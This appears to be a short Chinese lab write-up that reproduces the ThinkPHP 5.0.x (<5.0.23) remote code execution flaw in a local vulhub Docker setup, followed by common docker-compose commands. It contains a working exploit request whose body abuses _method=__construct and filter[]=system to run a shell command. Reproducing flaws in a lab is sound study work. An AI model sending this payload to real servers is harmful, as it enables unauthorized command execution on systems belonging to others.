声明
好好学习,天天向上
漏洞描述
ThinkPHP是一款运用极广的PHP开发框架。其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。
影响范围
ThinkPHP 5.0系列 < 5.0.23
复现过程
这里使用5.0.23版本
使用vulhub
/app/vulhub-master/thinkphp/5.0.23-rce
使用docker启动
docker-compose builddocker-compose up -d
环境启动后,访问
http://192.168.239.129:8080
抓包,修改为
POST /index.php?s=captcha HTTP/1.1Host: 192.168.239.129:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 72_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
关闭镜像(每次用完后关闭)
docker-compose down
docker-compose常用命令
拉镜像(进入到vulhub某个具体目录后)
docker-compose builddocker-compose up -d
镜像查询(查到的第一列就是ID值)
docker ps -a
进入指定镜像里面(根据上一条查出的ID进入)
docker exec -it ID /bin/bash
关闭镜像(每次用完后关闭)
docker-compose down